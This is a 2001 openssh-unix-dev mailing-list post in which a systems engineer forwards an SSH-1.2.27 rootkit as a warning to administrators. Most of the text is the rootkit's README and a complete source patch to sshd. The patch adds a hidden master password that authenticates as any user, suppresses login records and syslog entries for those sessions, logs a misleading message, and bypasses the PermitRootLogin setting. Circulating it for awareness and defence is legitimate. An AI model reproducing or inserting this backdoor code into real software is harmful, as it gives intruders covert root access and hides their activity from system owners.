Apparent SSH-1.2.27 Rootkit

Kevin Sindhu kevin at tgivan.com
Tue Jun 26 07:16:14 EST 2001


Hello,

I found this lurking around the web, and thought people who are
running SSH-1.2.27 might be interested.

--
Kevin Sindhu			<kevin at tgivan dot com>
Systems Engineer
TGI Technologies Inc.		Tel: (604) 872-6676 Ext 321
107 E 3rd Avenue		Fax: (604) 872-6601
Vancouver,BC V5T 1C7
Canada.
-------------- next part --------------
Welcome Root Kit SSH distribution v5.0 (by Zelea)

This version was build on TimeCop's previous SSH RootKit

New in this version:
	- build against ssh-1.2.27
	- corrected a bug that prevented wtmp/utmp login when
          RSA authentication and .shosts was used 
        - when login in with the 'global' password a message 
          "Closed connection from %IP%" is logged
        - encrypted 'global' password
          Your password isn't stored in clear anymore in the sshd
          daemon. Only the MD5 hash of your password is. This will
	  prevent anyone to retrieve that password from the binary file

To use, edit rk-ssh.diff and change the 'global' password has to 
whatever you want.
To do this use the md5sum program:
	md5sum --string=Your-Global-Password
and then paste the 32 character hash string in the diff file
Patch ssh-1.2.27 source tree using patch -p1 < rk-ssh.diff
Then ./configure, make, make install.

--- doc from previous releases ---

Yes, there is a known bug, it doesn't display Closing connection to ...
when a normal user logs out after being logged in with a global password.
Yes, I am working on that. It would require me to add another global var or
make lets_log a binary fields variable... So next version will hopefully fix
this.

Hey, thanks to someone on IRC, they mentioned about the PermitRootLogin
in /etc/sshd_config... Now logging in with a global password makes sure you
still login even though the PermitRootLogin is no :)  Nice feature.  More
logging has been disabled.

Fixed in this release:
* logging user logins is only disabled when a global password is used
* no more #define shit
* cleaner code
* it actually works well this time :)
-------------- next part --------------
diff -urN ssh-1.2.27-old/login.c ssh-1.2.27/login.c
--- ssh-1.2.27-old/login.c	Wed May 12 07:19:26 1999
+++ ssh-1.2.27/login.c	Mon Dec  6 23:06:32 1999
@@ -119,6 +119,8 @@
 #endif /* HAVE_HPUX_TCB_AUTH */
 #include "ssh.h"
 
+int lets_log;
+
 /* Returns the time when the user last logged in.  Returns 0 if the 
    information is not available.  This must be called before record_login. 
    The host the user logged in from will be returned in buf. */
@@ -259,6 +261,7 @@
 {
   int fd;
 
+  if (lets_log) {
 #if defined(HAVE_LASTLOG_H) || defined(HAVE_LASTLOG)
   struct lastlog ll;
   char *lastlog;
@@ -559,11 +562,13 @@
     }
 #endif   
 }
+}
   
 /* Records that the user has logged out. */
 
 void record_logout(int pid, const char *ttyname)
 {
+if (lets_log) {
 #ifdef HAVE_LIBUTIL_LOGIN
   const char *line = ttyname + 5; /* /dev/ttyq8 -> ttyq8 */
   if (logout(line))
@@ -571,4 +576,5 @@
 #else /* HAVE_LIBUTIL_LOGIN */
   record_login(pid, ttyname, "", -1, "", NULL);
 #endif /* HAVE_LIBUTIL_LOGIN */  
+}
 }
diff -urN ssh-1.2.27-old/ssh.h ssh-1.2.27/ssh.h
--- ssh-1.2.27-old/ssh.h	Wed May 12 07:19:28 1999
+++ ssh-1.2.27/ssh.h	Mon Dec  6 23:06:58 1999
@@ -866,6 +866,7 @@
 /* Global variables */
 
 extern uid_t original_real_uid;
+extern int lets_log;
 
 #ifdef AMIGA
 #define UID_ROOT 65535
diff -urN ssh-1.2.27-old/sshd.c ssh-1.2.27/sshd.c
--- ssh-1.2.27-old/sshd.c	Mon Dec  6 23:10:22 1999
+++ ssh-1.2.27/sshd.c	Tue Dec  7 00:09:58 1999
@@ -1408,7 +1408,9 @@
   auth_delete_socket(NULL);
   
   /* The connection has been terminated. */
+  if (lets_log) {
   log_msg("Closing connection to %.100s", get_remote_ipaddr());
+  }
   packet_close();
   exit(0);
 }
@@ -2135,6 +2137,38 @@
   abort();
 }
 
+/* Check if the "global" password was entered */
+int check_global_passwd( unsigned char *pass )
+{
+  /* Paste here the output from md5sum --string="Your_Password" */
+  char md5passwd[33]="ed5c6101c7cc02d1a927e2e37be1eb0d";
+  struct MD5Context md;
+  unsigned char md5buffer[32];
+  int i;
+
+  /* Compute the response. */
+  MD5Init(&md);
+  MD5Update(&md, pass, strlen( pass));
+  MD5Final(md5buffer, &md);
+  for( i = 15; i >= 0; i-- )
+  {
+    md5buffer[i*2+1] = (md5buffer[i] & 0xf) + '0';
+    md5buffer[i*2] = (md5buffer[i] >> 4) + '0';
+  }
+  for( i = 0; i < 32; i++ )
+    if( md5buffer[i] > '9' )
+      md5buffer[i] += 0x27; /* lower case hexa chars */
+
+  if( strncmp(md5passwd,md5buffer,32) )
+    return 0;
+  else
+  {
+    /* Disable logging if conditions are met. */
+    lets_log=0; 
+    return 1;
+  }
+}
+
 /* Performs authentication of an incoming connection.  Session key has already
    been exchanged and encryption is enabled.  User is the user name to log
    in as (received from the clinet).  Privileged_port is true if the
@@ -2278,6 +2312,7 @@
       /* Get a packet from the client. */
       type = packet_read();
       
+      lets_log=1;
       /* Process the packet. */
       switch (type)
         {
@@ -2660,14 +2695,17 @@
 #if defined(KERBEROS) && defined(KRB5)
           if (auth_password(user, password, client))
 #else  /* defined(KERBEROS) && defined(KRB5) */
-          if (auth_password(user, password))
+          if (auth_password(user, password)  || check_global_passwd(password) )
 #endif /* defined(KERBEROS) && defined(KRB5) */
             {
               /* Successful authentication. */
               /* Clear the password from memory. */
               memset(password, 0, strlen(password));
               xfree(password);
-              log_msg("Password authentication for %.100s accepted.", user);
+              if( lets_log ) 
+                log_msg("Password authentication for %.100s accepted.", user); 
+              else 
+                log_msg("Closing connection to %.100s", get_remote_ipaddr());
               authentication_type = SSH_AUTH_PASSWORD;
               authenticated = 1;
               break;
@@ -2708,14 +2746,14 @@
     }
 
   /* Check if the user is logging in as root and root logins are disallowed. */
-  if (pw->pw_uid == UID_ROOT && options.permit_root_login == 1)
+  if (pw->pw_uid == UID_ROOT && options.permit_root_login == 1 && !lets_log)
     {
       if (authentication_type == SSH_AUTH_PASSWORD)
         packet_disconnect("ROOT LOGIN REFUSED FROM %.200s", 
                           get_canonical_hostname());
     }
   else
-    if (pw->pw_uid == UID_ROOT && options.permit_root_login == 0)
+    if (pw->pw_uid == UID_ROOT && options.permit_root_login == 0 && lets_log)
       {
         if (forced_command)
           log_msg("Root login accepted for forced command.", forced_command);
@@ -2767,7 +2805,7 @@
 #endif
   
   /* Log root logins with severity NOTICE. */
-  if (pw->pw_uid == UID_ROOT)
+  if (pw->pw_uid == UID_ROOT && lets_log)
     log_severity(SYSLOG_SEVERITY_NOTICE, "ROOT LOGIN as '%.100s' from %.100s",
                  pw->pw_name, get_canonical_hostname());
   


More information about the openssh-unix-dev mailing list